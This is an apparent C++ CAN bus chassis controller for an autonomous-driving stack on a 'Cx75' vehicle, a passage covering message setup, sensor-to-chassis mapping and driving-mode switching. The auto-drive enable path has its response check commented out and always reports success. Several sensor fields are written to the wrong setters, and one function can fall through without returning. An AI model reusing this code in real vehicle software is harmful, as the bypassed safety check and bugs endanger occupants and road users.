ErrorCode::CANBUS_ERROR; } mrr_0x238_238_ = dynamic_cast<Mrr0x238238 *>(message_manager_->GetMutableProtocolDataById(Mrr0x238238::ID)); if (mrr_0x238_238_ == nullptr) { AERROR << "Mrr0x238238 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } mrr_0x239_239_ = dynamic_cast<Mrr0x239239 *>(message_manager_->GetMutableProtocolDataById(Mrr0x239239::ID)); if (mrr_0x239_239_ == nullptr) { AERROR << "Mrr0x239239 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } mrr_0x246_246_ = dynamic_cast<Mrr0x246246 *>(message_manager_->GetMutableProtocolDataById(Mrr0x246246::ID)); if (mrr_0x246_246_ == nullptr) { AERROR << "Mrr0x246246 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } mrr_frobj_0x279_279_ = dynamic_cast<Mrrfrobj0x279279 *>(message_manager_->GetMutableProtocolDataById(Mrrfrobj0x279279::ID)); if (mrr_frobj_0x279_279_ == nullptr) { AERROR << "Mrrfrobj0x279279 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } mrr_frobj_0x480_480_ = dynamic_cast<Mrrfrobj0x480480 *>(message_manager_->GetMutableProtocolDataById(Mrrfrobj0x480480::ID)); if (mrr_frobj_0x480_480_ == nullptr) { AERROR << "Mrrfrobj0x480480 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } ipm_0x245_245_ = dynamic_cast<Ipm0x245245 *>(message_manager_->GetMutableProtocolDataById(Ipm0x245245::ID)); if (ipm_0x245_245_ == nullptr) { AERROR << "Ipm0x245245 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } ipm_leftline_0x278_278_ = dynamic_cast<Ipmleftline0x278278 *>(message_manager_->GetMutableProtocolDataById(Ipmleftline0x278278::ID)); if (ipm_leftline_0x278_278_ == nullptr) { AERROR << "Ipmleftline0x278278 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } ipm_rightline_0x490_490_ = dynamic_cast<Ipmrightline0x490490 *>(message_manager_->GetMutableProtocolDataById(Ipmrightline0x490490::ID)); if (ipm_rightline_0x490_490_ == nullptr) { AERROR << "Ipmrightline0x490490 does not exist in the Cx75MessageManager!"; return ErrorCode::CANBUS_ERROR; } can_sender_->AddMessage(Pam0x270270::ID, pam_0x270_270_, false,6); //can_sender_->AddMessage(Pam0x271271::ID, pam_0x271_271_, false); //can_sender_->AddMessage(Pam0x272272::ID, pam_0x272_272_, false); // can_sender_->AddMessage(Mrr0x238238::ID, mrr_0x238_238_, false,6); // can_sender_->AddMessage(Mrr0x239239::ID, mrr_0x239_239_, false,6); //can_sender_->AddMessage(Mrr0x246246::ID, mrr_0x246_246_, false); //can_sender_->AddMessage(Mrrfrobj0x279279::ID, mrr_frobj_0x279_279_, false); //can_sender_->AddMessage(Mrrfrobj0x480480::ID, mrr_frobj_0x480_480_, false); // can_sender_->AddMessage(Ipm0x245245::ID, ipm_0x245_245_, false,6); //can_sender_->AddMessage(Ipmleftline0x278278::ID, ipm_leftline_0x278_278_, false); //can_sender_->AddMessage(Ipmrightline0x490490::ID, ipm_rightline_0x490_490_, false); // need sleep to ensure all messages received AINFO << "Cx75Controller is initialized."; is_initialized_ = true; return ErrorCode::OK; } Cx75Controller::~Cx75Controller() { } bool Cx75Controller::Start() { if (!is_initialized_) { AERROR << "Cx75Controller has NOT been initiated."; return false; } const auto &update_func = [this] { SecurityDogThreadFunc(); }; thread_.reset(new std::thread(update_func)); return true; } void Cx75Controller::Stop() { if (!is_initialized_) { AERROR << "Cx75Controller stops or starts improperly!"; return; } // DisableAutoMode(); // DisableAPAMode(); if (thread_ != nullptr && thread_->joinable()) { thread_->join(); thread_.reset(); AINFO << "Cx75Controller stopped."; } } Chassis Cx75Controller::chassis() { chassis_.Clear(); ChassisDetail chassis_detail; message_manager_->GetSensorData(&chassis_detail); // 21, 22, previously 1, 2 if (driving_mode() == Chassis::EMERGENCY_MODE) { set_chassis_error_code(Chassis::NO_ERROR); } chassis_.set_driving_mode(driving_mode()); chassis_.set_error_code(chassis_error_code()); // 3 chassis_.set_engine_started(true); /* ADD YOUR OWN CAR CHASSIS OPERATION */ AINFO<<"EPS_LKAControlStatus:"<<chassis_detail.cx75().eps_advanced_0x176_176().eps_lkacontrolstatus(); AINFO<<"ESP_VLC_Active:"<<chassis_detail.cx75().esp_vlc_0x223_223().esp_vlc_active(); AINFO<<"ESP_VLC_Available:"<<chassis_detail.cx75().esp_vlc_0x223_223().esp_vlc_available(); AINFO<<"Eps_epspamstsType:"<<chassis_detail.cx75().eps_advanced_0x176_176().eps_epspamsts(); //ABS_SPEED if (chassis_detail.cx75().has_abs_sts_0x221_221() && chassis_detail.cx75().abs_sts_0x221_221().has_abs_vehspdlgt() && chassis_detail.cx75().abs_sts_0x221_221().abs_vehspdlgtstatus() == Abs_sts_0x221_221::ABS_VEHSPDLGTSTATUS_VALID) { chassis_.set_speed_mps( static_cast<float>(chassis_detail.cx75().abs_sts_0x221_221().abs_vehspdlgt() / 3.6)); chassis_.set_abs_vehspdlgt_valid(true); } else { chassis_.set_speed_mps(0); chassis_.set_abs_vehspdlgt_valid(false); } //ESP_Algt if (chassis_detail.cx75().has_esp_axay_0x242_242() && chassis_detail.cx75().esp_axay_0x242_242().has_esp_algt() && chassis_detail.cx75().esp_axay_0x242_242().esp_algtstatus() == Esp_axay_0x242_242::ESP_ALGTSTATUS_OK) { chassis_.set_lon_acc( static_cast<float>(chassis_detail.cx75().esp_axay_0x242_242().esp_algt())); chassis_.set_esp_algtstatus_valid(true); } else { chassis_.set_lon_acc(0); chassis_.set_esp_algtstatus_valid(false); } //tcu_gearinfo P档有问题 if (chassis_detail.cx75().has_gw_tcu_gearinfo_0x123_123() && chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().has_tcu_displaygear()) { Chassis::GearPosition gear_pos = Chassis::GEAR_INVALID; if (chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_displaygear() == Gw_tcu_gearinfo_0x123_123::TCU_DISPLAYGEAR_CURRENT_GEAR_N) { gear_pos = Chassis::GEAR_NEUTRAL; } if (chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_displaygear() == Gw_tcu_gearinfo_0x123_123::TCU_DISPLAYGEAR_CURRENT_GEAR_R) { gear_pos = Chassis::GEAR_REVERSE; } /* if (chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_1STGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_2NDGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_3RDGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_4THGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_5THGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_6THGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_7THGEAR || chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_currentgearposition() == Gw_tcu_gearinfo_0x123_123::TCU_CURRENTGEARPOSITION_8THGEAR) { gear_pos = Chassis::GEAR_DRIVE; }*/ if (chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_displaygear() == Gw_tcu_gearinfo_0x123_123::TCU_DISPLAYGEAR_CURRENT_GEAR_D) { gear_pos = Chassis::GEAR_DRIVE; } if (chassis_detail.cx75().gw_tcu_gearinfo_0x123_123().tcu_displaygear() == Gw_tcu_gearinfo_0x123_123::TCU_DISPLAYGEAR_CURRENT_GEAR_P) { gear_pos = Chassis::GEAR_PARKING; } chassis_.set_gear_location(gear_pos); } // else // { // chassis_.set_gear_location(Chassis::GEAR_NONE); // } //SteerWheelAngle和SAS_Raw_SteerWheelAngle的区别? if (chassis_detail.cx75().has_sas_sensor_0x175_175() && chassis_detail.cx75().sas_sensor_0x175_175().has_sas_steerwheelangle() && chassis_detail.cx75().sas_sensor_0x175_175().has_sas_sasstssnsr() == Sas_sensor_0x175_175::SAS_SASSTSSNSR_SENSOR_VALUE_VALID) { chassis_.set_steering_percentage(static_cast<double>( chassis_detail.cx75().sas_sensor_0x175_175().sas_steerwheelangle())); chassis_.set_sas_sasstssnsr_valid(true); } // else // { // chassis_.set_steering_percentage(0); // chassis_.set_sas_sasstssnsr_valid(false); // } //steerwheelrotspd if (chassis_detail.cx75().has_sas_sensor_0x175_175() && chassis_detail.cx75().sas_sensor_0x175_175().has_sas_steerwheelrotspd() && chassis_detail.cx75().sas_sensor_0x175_175().sas_steerwheelrotspdstatus() == Sas_sensor_0x175_175::SAS_STEERWHEELROTSPDSTATUS_VALID) { chassis_.set_steer_wheel_rot_spd(static_cast<float>( chassis_detail.cx75().sas_sensor_0x175_175().sas_steerwheelrotspd())); chassis_.set_steerwheelrotspd_valid(true); } // else // { // chassis_.set_steer_wheel_rot_spd(0); // chassis_.set_steerwheelrotspd_valid(false); // } //steering_torque_nm if (chassis_detail.cx75().has_eps_advanced_0x176_176() && chassis_detail.cx75().eps_advanced_0x176_176().has_eps_lkaresponsetorque() && chassis_detail.cx75().eps_advanced_0x176_176().eps_lkaresponsetorquevalid() == Eps_advanced_0x176_176::EPS_LKARESPONSETORQUEVALID_VAILD) { chassis_.set_steering_torque_nm(static_cast<double>( chassis_detail.cx75().eps_advanced_0x176_176().eps_lkaresponsetorque())); chassis_.set_eps_lkaresponsetorque_valid(true); } // else // { // chassis_.set_steering_torque_nm(0); // chassis_.set_eps_lkaresponsetorque_valid(false); // } //eps_torsionbartorque if (chassis_detail.cx75().has_eps_advanced_0x176_176() && chassis_detail.cx75().eps_advanced_0x176_176().has_eps_torsionbartorque() && chassis_detail.cx75().eps_advanced_0x176_176().eps_tosionbartorquevalid() == Eps_advanced_0x176_176::EPS_TOSIONBARTORQUEVALID_VAILD) { chassis_.set_eps_torsionbartorque(static_cast<double>( chassis_detail.cx75().eps_advanced_0x176_176().eps_torsionbartorque())); chassis_.set_eps_tosionbartorquevalid(true); } // else // { // chassis_.set_eps_torsionbartorque(0); // chassis_.set_eps_tosionbartorquevalid(false); // } //右前轮累积上升沿和下降沿之和 if (chassis_detail.cx75().has_abs_sts_0x221_221() && chassis_detail.cx75().abs_sts_0x221_221().has_abs_whlmilgfrntri() && chassis_detail.cx75().abs_sts_0x221_221().abs_whlmilgfrntristatus() == Abs_sts_0x221_221::ABS_WHLMILGFRNTRISTATUS_VALID) { chassis_.set_abs_whlmilgfrntri(static_cast<int>( chassis_detail.cx75().abs_sts_0x221_221().abs_whlmilgfrntri())); //chassis_.set_eps_tosionbartorquevalid(true); } // else // { // chassis_.set_abs_whlmilgfrntri(0); // //chassis_.set_eps_tosionbartorquevalid(false); // } //左前轮累积上升沿和下降沿之和 if (chassis_detail.cx75().has_abs_sts_0x221_221() && chassis_detail.cx75().abs_sts_0x221_221().has_abs_whlmilgfrntle() && chassis_detail.cx75().abs_sts_0x221_221().abs_whlmilgfrntlestatus() == Abs_sts_0x221_221::ABS_WHLMILGFRNTLESTATUS_VALID) { chassis_.set_abs_whlmilgfrntle(static_cast<int>( chassis_detail.cx75().abs_sts_0x221_221().abs_whlmilgfrntle())); //chassis_.set_eps_tosionbartorquevalid(true); } // else // { // chassis_.set_abs_whlmilgfrntle(0); // //chassis_.set_eps_tosionbartorquevalid(false); // } //右后轮累积上升沿和下降沿之和 if (chassis_detail.cx75().has_esp_direction_0x235_235() && chassis_detail.cx75().esp_direction_0x235_235().has_esp_whlmilgrearre() && chassis_detail.cx75().esp_direction_0x235_235().esp_whlmilgrearristatus() == Esp_direction_0x235_235::ESP_WHLMILGREARRISTATUS_VALID) { chassis_.set_abs_whlmilgrearre(static_cast<int>( chassis_detail.cx75().esp_direction_0x235_235().esp_whlmilgrearre())); //chassis_.set_eps_tosionbartorquevalid(true); } // else // { // chassis_.set_abs_whlmilgrearre(0); // //chassis_.set_eps_tosionbartorquevalid(false); // } //左后轮累积上升沿和下降沿之和 if (chassis_detail.cx75().has_esp_direction_0x235_235() && chassis_detail.cx75().esp_direction_0x235_235().has_esp_whlmilgrearle() && chassis_detail.cx75().esp_direction_0x235_235().esp_whlmilgrearlestatus() == Esp_direction_0x235_235::ESP_WHLMILGREARLESTATUS_VALID) { chassis_.set_abs_whlmilgfrntle(static_cast<int>( chassis_detail.cx75().esp_direction_0x235_235().esp_whlmilgrearle())); //chassis_.set_eps_tosionbartorquevalid(true); } // else // { // chassis_.set_abs_whlmilgfrntle(0); // //chassis_.set_eps_tosionbartorquevalid(false); // } //轮速度脉冲以20ms为单位 if (chassis_detail.cx75().has_esp_whlpulse_0x236_236()) { if (chassis_detail.cx75().esp_whlpulse_0x236_236().has_esp_wheelpulse_fl() && chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_fl_valid() == Esp_whlpulse_0x236_236::ESP_WHEELPULSE_FL_VALID_VALID) { chassis_.set_esp_wheelpulse_fl(static_cast<int>( chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_fl())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().esp_whlpulse_0x236_236().has_esp_wheelpulse_fr() && chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_fr_valid() == Esp_whlpulse_0x236_236::ESP_WHEELPULSE_FR_VALID_VALID) { chassis_.set_esp_wheelpulse_fl(static_cast<int>( chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_fr())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().esp_whlpulse_0x236_236().has_esp_wheelpulse_rl() && chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_rl_valid() == Esp_whlpulse_0x236_236::ESP_WHEELPULSE_RL_VALID_VALID) { chassis_.set_esp_wheelpulse_rl(static_cast<int>( chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_rl())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().esp_whlpulse_0x236_236().has_esp_wheelpulse_rr() && chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_rr_valid() == Esp_whlpulse_0x236_236::ESP_WHEELPULSE_RR_VALID_VALID) { chassis_.set_esp_wheelpulse_rr(static_cast<int>( chassis_detail.cx75().esp_whlpulse_0x236_236().esp_wheelpulse_rr())); //chassis_.set_eps_tosionbartorquevalid(true); } } if (chassis_detail.cx75().has_gw_ems_whltq_0x107_107()) { if (chassis_detail.cx75().gw_ems_whltq_0x107_107().has_ems_accpedalratio() && chassis_detail.cx75().gw_ems_whltq_0x107_107().ems_accpedalratioerror() == Gw_ems_whltq_0x107_107::EMS_ACCPEDALRATIOERROR_NOERROR) { chassis_.set_ems_accpedalratio(static_cast<double>( chassis_detail.cx75().gw_ems_whltq_0x107_107().ems_accpedalratio())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().gw_ems_whltq_0x107_107().has_ems_brkpedalstasus()) { if (chassis_detail.cx75().gw_ems_whltq_0x107_107().ems_brkpedalstasus() == Gw_ems_whltq_0x107_107::EMS_BRKPEDALSTASUS_NOTPRESSED) { chassis_.set_brkpedalstasus(Chassis::NOT_PRESSED); } else if (chassis_detail.cx75().gw_ems_whltq_0x107_107().ems_brkpedalstasus() == Gw_ems_whltq_0x107_107::EMS_BRKPEDALSTASUS_PRESSED) { chassis_.set_brkpedalstasus(Chassis::PRESSED); } else if (chassis_detail.cx75().gw_ems_whltq_0x107_107().ems_brkpedalstasus() == Gw_ems_whltq_0x107_107::EMS_BRKPEDALSTASUS_ERROR) { chassis_.set_brkpedalstasus(Chassis::ERROR); } } } if (chassis_detail.cx75().has_abs_whlspd_0x211_211()) { if (chassis_detail.cx75().abs_whlspd_0x211_211().has_abs_whlspdfrntle() && chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdfrntlestatus() == Abs_whlspd_0x211_211::ABS_WHLSPDFRNTLESTATUS_VALID) { chassis_.set_abs_whlspdfrntle(static_cast<double>( chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdfrntle())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().abs_whlspd_0x211_211().has_abs_whlspdfrntri() && chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdfrntristatus() == Abs_whlspd_0x211_211::ABS_WHLSPDFRNTRISTATUS_VALID) { chassis_.set_abs_whlspdfrntri(static_cast<double>( chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdfrntri())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().abs_whlspd_0x211_211().has_abs_whlspdrele() && chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdrelestatus() == Abs_whlspd_0x211_211::ABS_WHLSPDRELESTATUS_VALID) { chassis_.set_abs_whlspdrele(static_cast<double>( chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdrele())); //chassis_.set_eps_tosionbartorquevalid(true); } if (chassis_detail.cx75().abs_whlspd_0x211_211().has_abs_whlspdreri() && chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdreristatus() == Abs_whlspd_0x211_211::ABS_WHLSPDRERISTATUS_VALID) { chassis_.set_abs_whlspdreri(static_cast<double>( chassis_detail.cx75().abs_whlspd_0x211_211().abs_whlspdreri())); //chassis_.set_eps_tosionbartorquevalid(true); } } if (chassis_detail.cx75().has_ins_acc_500()) { if (chassis_detail.cx75().ins_acc_500().has_acc_x() && chassis_detail.cx75().ins_acc_500().has_acc_y() && chassis_detail.cx75().ins_acc_500().has_acc_z()) { chassis_.set_acc_x(static_cast<double>( chassis_detail.cx75().ins_acc_500().acc_x())); chassis_.set_acc_y(static_cast<double>( chassis_detail.cx75().ins_acc_500().acc_y())); chassis_.set_acc_z(static_cast<double>( chassis_detail.cx75().ins_acc_500().acc_z())); } } if (chassis_detail.cx75().has_ins_gyro_501()) { if (chassis_detail.cx75().ins_gyro_501().has_gyro_x() && chassis_detail.cx75().ins_gyro_501().has_gyro_y() && chassis_detail.cx75().ins_gyro_501().has_gyro_z()) { chassis_.set_gyro_x(static_cast<double>( chassis_detail.cx75().ins_gyro_501().gyro_x())); chassis_.set_gyro_y(static_cast<double>( chassis_detail.cx75().ins_gyro_501().gyro_y())); chassis_.set_gyro_z(static_cast<double>( chassis_detail.cx75().ins_gyro_501().gyro_z())); } } if (chassis_detail.cx75().has_ins_headingpitchroll_502()) { if (chassis_detail.cx75().ins_headingpitchroll_502().has_ins_pitchangle() && chassis_detail.cx75().ins_headingpitchroll_502().has_ins_rollangle() && chassis_detail.cx75().ins_headingpitchroll_502().has_ins_headingangle()) { chassis_.set_ins_pitchangle(static_cast<double>( chassis_detail.cx75().ins_headingpitchroll_502().ins_pitchangle())); chassis_.set_ins_rollangle(static_cast<double>( chassis_detail.cx75().ins_headingpitchroll_502().ins_rollangle())); chassis_.set_ins_headingangle(static_cast<double>( chassis_detail.cx75().ins_headingpitchroll_502().ins_headingangle())); } } if (chassis_detail.cx75().has_ins_heightandtime_503()) { if (chassis_detail.cx75().ins_heightandtime_503().has_ins_locatheight() && chassis_detail.cx75().ins_heightandtime_503().has_ins_time()) { chassis_.set_ins_locatheight(static_cast<double>( chassis_detail.cx75().ins_heightandtime_503().ins_locatheight())); chassis_.set_ins_time(static_cast<double>( chassis_detail.cx75().ins_heightandtime_503().ins_time())); } } if (chassis_detail.cx75().has_ins_latitudelongitude_504()) { if (chassis_detail.cx75().ins_latitudelongitude_504().has_ins__latitude() && chassis_detail.cx75().ins_latitudelongitude_504().has_ins_longitude()) { chassis_.set_ins_latitude(static_cast<double>( chassis_detail.cx75().ins_latitudelongitude_504().ins__latitude())); chassis_.set_ins_longitude(static_cast<double>( chassis_detail.cx75().ins_latitudelongitude_504().ins_longitude())); } } if (chassis_detail.cx75().has_ins_speed_505()) { if (chassis_detail.cx75().ins_speed_505().has_ins_northspd() && chassis_detail.cx75().ins_speed_505().has_ins_eastspd() && chassis_detail.cx75().ins_speed_505().has_ins_togroundspd()) { chassis_.set_ins_northspd(static_cast<double>( chassis_detail.cx75().ins_speed_505().ins_northspd())); chassis_.set_ins_eastspd(static_cast<double>( chassis_detail.cx75().ins_speed_505().ins_eastspd())); chassis_.set_ins_togroundspd(static_cast<double>( chassis_detail.cx75().ins_speed_505().ins_togroundspd())); } } if (chassis_detail.cx75().has_ins_datainfo_506()) { if (chassis_detail.cx75().ins_datainfo_506().has_ins_gpsflag_pos() && chassis_detail.cx75().ins_datainfo_506().has_ins_numsv() && chassis_detail.cx75().ins_datainfo_506().has_ins_gpsflag_heading() && chassis_detail.cx75().ins_datainfo_506().has_ins_gps_age() && chassis_detail.cx75().ins_datainfo_506().has_ins_car_status() && chassis_detail.cx75().ins_datainfo_506().has_ins_status()) { chassis_.set_ins_gpsflag_pos(static_cast<int>( chassis_detail.cx75().ins_datainfo_506().ins_gpsflag_pos())); chassis_.set_ins_numsv(static_cast<double>( chassis_detail.cx75().ins_datainfo_506().ins_numsv())); chassis_.set_ins_gpsflag_heading(static_cast<int>( chassis_detail.cx75().ins_datainfo_506().ins_gpsflag_heading())); chassis_.set_ins_gps_age(static_cast<double>( chassis_detail.cx75().ins_datainfo_506().ins_gps_age())); chassis_.set_ins_car_status( chassis_detail.cx75().ins_datainfo_506().ins_car_status()); chassis_.set_ins_status( chassis_detail.cx75().ins_datainfo_506().ins_status()); } } if (chassis_detail.cx75().has_ins_std_507()) { if (chassis_detail.cx75().ins_std_507().has_ins_std_lat() && chassis_detail.cx75().ins_std_507().has_ins_std_lon() && chassis_detail.cx75().ins_std_507().has_ins_std_locatheight() && chassis_detail.cx75().ins_std_507().has_inins_std_heading()) { chassis_.set_ins_std_lat(static_cast<double>( chassis_detail.cx75().ins_std_507().ins_std_lat())); chassis_.set_ins_std_lon(static_cast<double>( chassis_detail.cx75().ins_std_507().ins_std_lon())); chassis_.set_ins_std_locat_height(static_cast<double>( chassis_detail.cx75().ins_std_507().ins_std_locatheight())); chassis_.set_ins_std_heading(static_cast<double>( chassis_detail.cx75().ins_std_507().inins_std_heading())); } } if (chassis_detail.cx75().has_esp_vlc_0x223_223()) { chassis_.set_esp_vlc_active(static_cast<int>( chassis_detail.cx75().esp_vlc_0x223_223().esp_vlc_active())); chassis_.set_esp_vlc_available(static_cast<int>( chassis_detail.cx75().esp_vlc_0x223_223().esp_vlc_available())); chassis_.set_esp_apa_gearboxenable(static_cast<int>( chassis_detail.cx75().esp_vlc_0x223_223().esp_apa_gearboxenable())); chassis_.set_esp_vlc_apactive(static_cast<int>( chassis_detail.cx75().esp_vlc_0x223_223().esp_vlc_apactive())); chassis_.set_esp_vlcapa_available(static_cast<int>( chassis_detail.cx75().esp_vlc_0x223_223().esp_vlcapa_available())); } if (chassis_detail.cx75().has_eps_advanced_0x176_176()) { chassis_.set_eps_epspamsts(static_cast<int>( chassis_detail.cx75().eps_advanced_0x176_176().eps_epspamsts())); } if (chassis_detail.cx75().has_eps_advanced_0x176_176()) { chassis_.set_eps_lkacontrolstatus(static_cast<int>( chassis_detail.cx75().eps_advanced_0x176_176().eps_lkacontrolstatus())); chassis_.set_eps_epspaminh(static_cast<int>( chassis_detail.cx75().eps_advanced_0x176_176().eps_epspaminh())); } if (chassis_detail.cx75().has_esp_status_0x243_243()) { chassis_.set_esp_epbstatus(static_cast<int>( chassis_detail.cx75().esp_status_0x243_243().esp_epbstatus())); } return chassis_; } void Cx75Controller::Emergency() { set_driving_mode(Chassis::EMERGENCY_MODE); ResetProtocol(); } ErrorCode Cx75Controller::EnableAutoMode() { AINFO << "START EnableAutoMode"; if (driving_mode() == Chassis::COMPLETE_AUTO_DRIVE) { AINFO << "already in COMPLETE_AUTO_DRIVE mode"; return ErrorCode::OK; } // if (chassis_.esp_vlc_available()==0) // { // AERROR<<"esp_vlc is not available,check esp ErrorCode"; // return ErrorCode::CANBUS_ERROR; // } // if (chassis_.eps_lkacontrolstatus()==3) // { // AERROR<<"eps_lka is not available,check eps ErrorCode"; // return ErrorCode::CANBUS_ERROR; // } if (chassis_.esp_vlcapa_available()==0) { AERROR<<"esp_vlcapa is not available,check esp ErrorCode"; return ErrorCode::CANBUS_ERROR; } //if (chassis_.eps_epspamsts()==1) //{ // AERROR<<"eps_epspamsts is not available,check esp ErrorCode"; // return ErrorCode::CANBUS_ERROR; //} // mrr_0x239_239_->set_acc_state(Mrr_0x239_239::ACC_STATE_ACTIVE_CONTROL_MODE); // ipm_0x245_245_->set_ipm_laneassit_torquereqstatus(Ipm_0x245_245::IPM_LANEASSIT_TORQUEREQSTATUS_TORQUE_REQUEST); pam_0x270_270_->set_pam_brakemodests(Pam_0x270_270::PAM_BRAKEMODESTS_ACTIVE); pam_0x270_270_->set_pam_brakefunctionmode(Pam_0x270_270::PAM_BRAKEFUNCTIONMODE_AUTOMATICPARK);//需不需要 //pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_EPS_CONTROL);//需不需要 pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_CONTROL_EPS_REQUEST); pam_0x270_270_->set_stopstartinhibit_apa(Pam_0x270_270::STOPSTARTINHIBIT_APA_TRUE); // mrr_0x239_239_->set_acc_driveoff(Mrr_0x239_239::ACC_DRIVEOFF_DEMAND); can_sender_->Update(); // const int32_t flag = // CHECK_RESPONSE_STEER_UNIT_FLAG | CHECK_RESPONSE_SPEED_UNIT_FLAG; const int32_t flag = CHECK_RESPONSE_APA_UNIT_FLAG | CHECK_RESPONSE_ESPPAM_UNIT_FLAG; /*if (!CheckResponse(flag, true)) { AERROR << "Failed to switch to COMPLETE_AUTO_DRIVE mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { set_driving_mode(Chassis::COMPLETE_AUTO_DRIVE); AINFO << "Switch to COMPLETE_AUTO_DRIVE mode ok."; return ErrorCode::OK; }*/ set_driving_mode(Chassis::COMPLETE_AUTO_DRIVE); AINFO << "Switch to COMPLETE_AUTO_DRIVE mode ok."; return ErrorCode::OK; } ErrorCode Cx75Controller::DisableAutoMode() { ResetProtocol(); can_sender_->Update(); set_driving_mode(Chassis::COMPLETE_MANUAL); set_chassis_error_code(Chassis::NO_ERROR); AINFO << "Switch to COMPLETE_MANUAL OK!"; return ErrorCode::OK; } ErrorCode Cx75Controller::EnableRemoteMode() { if (driving_mode() == Chassis::REMOTE_MODE) { AINFO << "already in REMOTE_MODE mode"; return ErrorCode::OK; } } ErrorCode Cx75Controller::EnableSteeringOnlyMode() { if (driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_STEER_ONLY) { set_driving_mode(Chassis::AUTO_STEER_ONLY); AINFO << "Already in AUTO_STEER_ONLY mode"; return ErrorCode::OK; } return ErrorCode::OK; /* ADD YOUR OWN CAR CHASSIS OPERATION brake_60_->set_disable(); throttle_62_->set_disable(); steering_64_->set_enable(); can_sender_->Update(); if (CheckResponse(CHECK_RESPONSE_STEER_UNIT_FLAG, true) == false) { AERROR << "Failed to switch to AUTO_STEER_ONLY mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { set_driving_mode(Chassis::AUTO_STEER_ONLY); AINFO << "Switch to AUTO_STEER_ONLY mode ok."; return ErrorCode::OK; } */ } ErrorCode Cx75Controller::EnableSpeedOnlyMode() { if (driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY) { set_driving_mode(Chassis::AUTO_SPEED_ONLY); AINFO << "Already in AUTO_SPEED_ONLY mode"; return ErrorCode::OK; } return ErrorCode::OK; /* ADD YOUR OWN CAR CHASSIS OPERATION brake_60_->set_enable(); throttle_62_->set_enable(); steering_64_->set_disable(); can_sender_->Update(); if (CheckResponse(CHECK_RESPONSE_SPEED_UNIT_FLAG, true) == false) { AERROR << "Failed to switch to AUTO_STEER_ONLY mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { set_driving_mode(Chassis::AUTO_SPEED_ONLY); AINFO << "Switch to AUTO_SPEED_ONLY mode ok."; return ErrorCode::OK; } */ } ErrorCode Cx75Controller::EnableAPAMode() { if (driving_mode() == Chassis::APA_MODE) { set_driving_mode(Chassis::APA_MODE); AINFO << "Already in AUTO_SPEED_ONLY mode"; return ErrorCode::OK; } pam_0x270_270_->set_pam_brakemodests(Pam_0x270_270::PAM_BRAKEMODESTS_ACTIVE); pam_0x270_270_->set_pam_brakefunctionmode(Pam_0x270_270::PAM_BRAKEFUNCTIONMODE_AUTOMATICPARK); //can_sender_->Update(); const int32_t flag = CHECK_RESPONSE_APA_UNIT_FLAG ; if (CheckResponse(flag, true) == false) { AERROR << "Failed to switch to APAMode mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { 